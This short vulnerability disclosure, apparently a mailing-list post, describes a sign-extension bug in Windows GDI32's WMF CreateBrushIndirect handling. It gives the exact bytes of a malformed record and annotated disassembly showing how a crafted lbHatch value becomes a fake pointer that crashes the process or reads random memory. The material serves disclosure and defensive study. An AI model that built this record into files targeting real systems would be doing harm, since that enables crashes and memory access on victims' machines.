There is some technical details. 1. 'Bad' wmf record: 07 00 00 00 length of record (in words) FC 02 type (CreateBrushIndirect) 08 00 00 00 00 00 00 80 'packed' (good old Win16 days) LOGBRUSH data: 08 00 - 'packed' lbStyle (may be BS_DIBPATTERNPT [6] or BS_DIBPATTERN8X8 [8]) 00 00 00 00 - COLORREF (any) 00 80 - 'packed' lbHatch (any, signed) 2. Sign extension bug: GDI32!_CommonEnumMetaFile: ...... ; normalize 'packed' LOGBRUSH movzx eax, word ptr [ebx+6] ; lbStyle (UINT32(UINT16)) mov [ebp-0f8], eax mov eax, [ebx + 8] ; COLORREF (as is) mov [ebp-0f4], eax movsx eax, word ptr [ebx+0c] ; <-- BUGBUG: lbHatch (UINT32(INT16)) lea eax, [ebp-0f8] push eax call GDI32!_CreateBrushIndirect ...... 3. Memory access to fake 'pointer to packed DIB' (lbHatch) bug: GDI32!_CreateBrushIndirect: ...... ...... ...... cmp edi, 6 ; BS_DIBPATTERNPT == lbStyle jz _go2crush ...... cmp edi, 8 ; BS_DIBPATTERN8X8 == lbStyle jz _go2crush ...... _go2crush: push esi push 1 push eax, [ebp+10] push eax push dword ptr [ebp+0c] ; 1 push dword ptr [ebp+18] ; lbHatch (fake *packedDIB) call GDI32!_pbmiConvertInfo ...... ...... GDI32!_pbmiConvertInfo: ...... push ebx mov ebx, [ebp+8] ; lbHatch (fake *packedDIB) ...... mov eax, [ebx] ; <-- BUGBUG: crush or random (in first 0x7f00 bytes) ; memory access (see @ 0x3000 region) regards, cyanid-E